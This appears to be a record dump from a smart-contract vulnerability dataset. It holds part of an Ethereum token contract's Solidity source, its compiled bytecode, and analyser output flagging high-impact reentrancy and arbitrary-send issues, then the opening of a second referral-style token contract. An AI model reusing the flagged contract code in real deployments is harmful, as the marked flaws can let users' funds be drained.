_feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600d81526020017f4f70706f7274756e697469657300000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f50504f00000000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083e1e18fc05738e02aa65f16762f45099237884a7bc9ce5684ba772e9641661c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,050
0x8de34059bc5fcd77644d2d23f4fd44ca76992f68
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract BETB { using SafeMath for uint256; /*============================== = BET-B EVENTS = ==============================*/ event Approved( address indexed spender, address indexed recipient, uint256 tokens ); event Buy( address indexed buyer, uint256 tokensTransfered, uint256 tokenToTransfer, uint256 referralBal ); event Transfer( address indexed from, address indexed to, uint256 tokens ); event sold( address indexed seller, uint256 calculatedEtherTransfer, uint256 tokens ); event stake( address indexed staker, uint256 amount, uint256 timing ); event onWithdrawal( address indexed holder, uint256 amount ); /*===================================== = BET-B CONFIGURABLES = =====================================*/ string public token_name; string public token_symbol; uint8 public decimal; uint256 public token_price = 150000000000000; uint256 public basePrice1 = 150000000000000; uint256 public basePrice2 = 230000000000000; uint256 public basePrice3 = 330000000000000; uint256 public basePrice4 = 460000000000000; uint256 public basePrice5 = 820000000000000; uint256 public basePrice6 = 1600000000000000; uint256 public basePrice7 = 4900000000000000; uint256 public basePrice8 = 8200000000000000; uint256 public basePrice9 = 30000000000000000; uint256 public basePrice10 = 91000000000000000; uint256 public basePrice11= 330000000000000000; uint256 public basePrice12 = 820000000000000000; uint256 public basePrice13 = 1810000000000000000; uint256 public basePrice14 = 3300000000000000000; uint256 public basePrice15 = 6600000000000000000; uint256 public basePrice16 = 16490000000000000000; uint256 public initialPriceIncrement = 0; uint256 public currentPrice; uint256 public totalSupply_; uint256 public tokenSold = 25000; uint256 public overallReferToken = 0; address payable owner; address stakeHolder; mapping(address => uint256) public tokenLedger; mapping(address => uint256) public stakeLedger; mapping(address => mapping(address => uint256)) public allowed; mapping(address => address) public gen_tree; mapping(address => uint256) public levelIncome; mapping(address => uint256) public mode; mapping(address => uint256) public rewardIncome; mapping(address => uint256) public allTimeSell; mapping(address => uint256) public allTimeBuy; modifier onlyOwner { require(msg.sender == owner, "Caller is not the owner"); _; } constructor(string memory _tokenName, string memory _tokenSymbol, uint256 initialSupply) public { owner = msg.sender; stakeHolder = owner; token_name = _tokenName; token_symbol = _tokenSymbol; decimal = 0; currentPrice = token_price + initialPriceIncrement; totalSupply_ = initialSupply; tokenLedger[owner] = tokenSold; } /*===================================== = BET-B Methods = =====================================*/ function contractAddress() public view returns(address) { return address(this); } function get_level_income() public view returns(uint256) { return levelIncome[msg.sender]; } function 